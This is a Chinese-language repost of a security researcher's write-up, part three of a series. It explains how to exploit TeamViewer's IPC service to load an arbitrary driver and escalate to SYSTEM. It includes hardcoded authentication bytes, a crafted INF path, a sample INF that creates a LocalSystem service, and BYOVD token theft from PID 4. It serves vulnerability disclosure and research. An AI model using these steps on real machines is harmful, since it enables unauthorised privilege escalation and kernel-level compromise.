找到 TeamViewer 0day漏洞- 第三部分:完整利用

如果没有看过第一部分的读者,可以先从第一部分看起:

寻找TeamViewer 0day漏洞—第一部分:故事的开始

寻找 TeamViewer 0day 漏洞(二):逆向身份验证协议

正文开始

因为我已经提前透露了,我们已经知道 TeamViewer 并没有过滤客户端发送的参数来请求驱动程序安装,也没有进行签名检查等。

所以我们在这一部分要回顾的思路是:我们将伪装成一个 TeamViewer 客户端,请求安装 VPN 驱动程序,但指明另一个 INF。我重新利用了 TeamViewer 的原始 INF,但将“坏”驱动程序重命名为 teamviewervpn.sys,放在另一个(非特权)路径下,因为这是原始 INF 针对的驱动程序名称。

首先,您可以在这里找到项目:

https://github.com/PeterGabaldon/CVE-2024-7479_CVE-2024-7481

重要说明

此方法还绕过了 TeamViewer 选项“更改需要该计算机上的管理权限”的限制。

此检查仅在通过图形用户界面有效,因为当以非特权用户身份点击按钮时,TeamViewer 选项会被禁用。但可以连接到套接字并执行任意驱动程序加载。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

重要说明 II

重要说明 II

该漏洞利用依赖于版本,因为 IPC 消息中客户端指定了其 PID 及其他数据,包括版本。

客户端的版本必须与 SYSTEM 服务的版本匹配。漏洞利用需要在 Main.cpp 的第 140 行到第 143 行进行修改,以匹配目标 TeamViewer_service.exe 的版本。

编码漏洞利用

我们将首先定义所涉及的 IPC 消息结构。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

我们将用它通过 TV IPC 协议通过套接字发送必要的消息。

我们还需要 MD5 实现,关于这一部分我将略过。我还使用了以下 hpp 文件进行十六进制输出打印。

https://github.com/zmb3/hexdump/blob/master/Hexdump.hpp

首先,我们将开始连接到套接字。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

找到 TeamViewer 0day漏洞- 第三部分:完整利用

我决定不使用完成 I/O 端口或重叠 I/O。从技术上讲,TeamViewer 就像其他套接字一样在监听,因此我将正常连接。

一旦我们连接到 5939/tcp,我们需要发送第一条消息,即客户端发送的第一次认证消息,其中包含挑战

找到 TeamViewer 0day漏洞- 第三部分:完整利用

  1. IPC_CLIENTE_CHALLENGE_AUTH ipcClientAuth1 = {

  2. { 0x08, 0x00, 0x01, 0x00, 0x1d, 0x00, 0x00, 0x00, 0x2d, 0x02, 0x09, 0x10, 0x00, 0x00, 0x00 },

  3. { 0xb7, 0x48, 0x77, 0x26, 0x8a, 0x72, 0xb8, 0xf0, 0xfe, 0x57, 0x04, 0x03, 0xfc, 0x64, 0x2e, 0xb0 },

  4. { 0xfe, 0x01, 0x00, 0x00, 0x00, 0x01 }

  5. };

在此上下文中,我们定义了一个IPC消息,以启动与TeamViewer的身份验证流程。客户端挑战消息会发送到服务器以开始认证。由于我们使用的是一个静态挑战(在此为一个16字节的数组),这样可以简化流程,因为服务器会返回其挑战及预期的响应。

一旦我们接收到服务器的挑战,就可以通过使用服务器的挑战和已知的静态密钥进行MD5哈希计算出正确的响应。下一步是构造正确的响应并将其返回给服务器以完成身份验证。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

找到 TeamViewer 0day漏洞- 第三部分:完整利用

然后将计算出的响应发送到身份验证消息中。

现在是发送控制 IPC 消息的时候了,表明进程的 PID。

如我在第一部分中提到的,我没有去反向解析消息中的其他字段,但只要指定正确的 PID,并在最后加上一个正确的标识符就足够了。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

之后,服务会向我们发送一些关于配置的消息,并尝试同步某些配置。我们只需要读取这些数据包,但无需对这些信息进行任何处理。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

找到 TeamViewer 0day漏洞- 第三部分:完整利用

找到 TeamViewer 0day漏洞- 第三部分:完整利用

接下来就是最有趣的部分了。我们已经准备好发送驱动安装请求。

重要提示

我尚未分析其原因,但似乎并不是所有路径都有效。起初我以为是路径长度的问题,但在尝试了不同长度后,发现有的路径能成功,有的则不能。我猜可能是因为我做了太多测试,导致服务有点混乱。最终,我使用了以下路径,这个路径默认情况下可以由非管理员用户在Windows中创建:

  1. C:Not Program FaaaaaaaaaabbbAnotherThingg.inf

找到 TeamViewer 0day漏洞- 第三部分:完整利用

在IPC消息中,长度只计算正文数据的长度,不包括头部。同时,它也不包括空字节的两个字节(因为是宽字符串)。

IPC消息不以空字符结束字符串。因此,我们需要在计算当前长度时考虑这些因素。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

接下来,我们就可以发送这个“魔法”消息了 🙂 。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

提升到内核权限

起初,我认为我们可以使用 INF 文件创建一个以 SYSTEM 身份运行的任意服务,从而提升权限。但 TeamViewer 的辅助程序最终调用了 UpdateDriverForPlugAndPlayDevicesA,而没有进行签名(目录文件)的验证。

https://learn.microsoft.com/en-us/windows/win32/api/newdev/nf-newdev-updatedriverforplugandplaydevicesa

此函数根据硬件 ID 更新现有硬件的 INF 文件。我尚未找到执行任意服务创建的方法。

尽管如此,这里有一个示例 INF 文件。

  1. ; ExampleService.inf

  2. ; INF file to create a service that executes a binary as SYSTEM

  3. [Version]

  4. Signature="$WINDOWS NT$"

  5. Class=Service

  6. ClassGuid={4D36E97D-E325-11CE-BFC1-08002BE10318}

  7. Provider=%ProviderName%

  8. DriverVer=06/16/2024,1.0.0.0

  9. [DestinationDirs]

  10. DefaultDestDir = 12 ; DIRID_DRIVERS

  11. [SourceDisksNames]

  12. 1 = %DiskName%,,,""

  13. [SourceDisksFiles]

  14. ExampleService.exe = 1

  15. [Manufacturer]

  16. %ManufacturerName%=Example,NTx86,NTamd64

  17. [Example.NTx86]

  18. %ServiceName%=ExampleService_Install, RootLEGACY_ExampleService

  19. [Example.NTamd64]

  20. %ServiceName%=ExampleService_Install, RootLEGACY_ExampleService

  21. [ExampleService_Install]

  22. CopyFiles = ExampleService_CopyFiles

  23. AddService = ExampleService, 0x00000002, ExampleService_Service_Inst

  24. [ExampleService_CopyFiles]

  25. ExampleService.exe

  26. [ExampleService_Service_Inst]

  27. DisplayName = %ServiceName%

  28. ServiceType = 0x10 ; SERVICE_WIN32_OWN_PROCESS

  29. StartType = 2 ; SERVICE_AUTO_START

  30. ErrorControl = 1 ; SERVICE_ERROR_NORMAL

  31. ServiceBinary = %12%ExampleService.exe

  32. StartName = LocalSystem

  33. [Strings]

  34. ProviderName="Example Provider"

  35. ManufacturerName="Example Manufacturer"

  36. ServiceName="Example Service"

  37. DiskName="Example Installation Disk"

需要使用 makecat 生成 CAT 文件。

https://learn.microsoft.com/en-us/windows/win32/seccrypto/makecat

最后,我采用了一种更简单的方法。让我们使用 BYOVD(带上你自己的易受攻击的驱动程序)工具 BYOVDKit:

https://github.com/Hagrid29/BYOVDKit

我只是重新使用了原始 TeamViewer 的相同 INF 和 CAT,但将 teamviewervpn.sys 替换为我们想要加载的驱动程序,并重命名或复制原始 INF,在这种情况下是 *AnotherThingg.inf。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

然后我们启动我们的漏洞利用程序,驱动程序就被加载了。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

找到 TeamViewer 0day漏洞- 第三部分:完整利用

我们可以利用这个易受攻击的驱动程序来提升权限。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

找到 TeamViewer 0day漏洞- 第三部分:完整利用

我们将复制PID 4的主访问令牌,即SYSTEM进程的令牌。

找到 TeamViewer 0day漏洞- 第三部分:完整利用

太好了,我们现在是SYSTEM

用户到内核

如果你想测试并加载另一个驱动,请记得删除我们从Windows CAT Store安装的驱动。

  • C:Windowssystem32>pnputil -enum-drivers

找到 TeamViewer 0day漏洞- 第三部分:完整利用

  • C:Windowssystem32>pnputil -delete-driver oem13.inf -force -uninstall


    找到 TeamViewer 0day漏洞- 第三部分:完整利用


Thanks

thanks for https://pgj11.com/posts/Finding-TeamViewer-0days-Part-3/

本系列已经完结,很精彩的利用过程,如果想看更多有趣的内容,欢迎持续关注本公众号!

找到 TeamViewer 0day漏洞- 第三部分:完整利用

往期推荐



寻找 TeamViewer 0day 漏洞(二):逆向身份验证协议

寻找TeamViewer 0day漏洞—第一部分:故事的开始

至暗时刻!Linux 史诗级核弹0day EXP公开

Android活动(Activities)Exploiting 技术

找到 TeamViewer 0day漏洞- 第三部分:完整利用

点个在看你最好看

原文始发于微信公众号(一个不正经的黑客):找到 TeamViewer 0day漏洞- 第三部分:完整利用

版权声明:admin 发表于 2024年10月7日 上午8:01。
转载请注明:找到 TeamViewer 0day漏洞- 第三部分:完整利用 | CTF导航

相关文章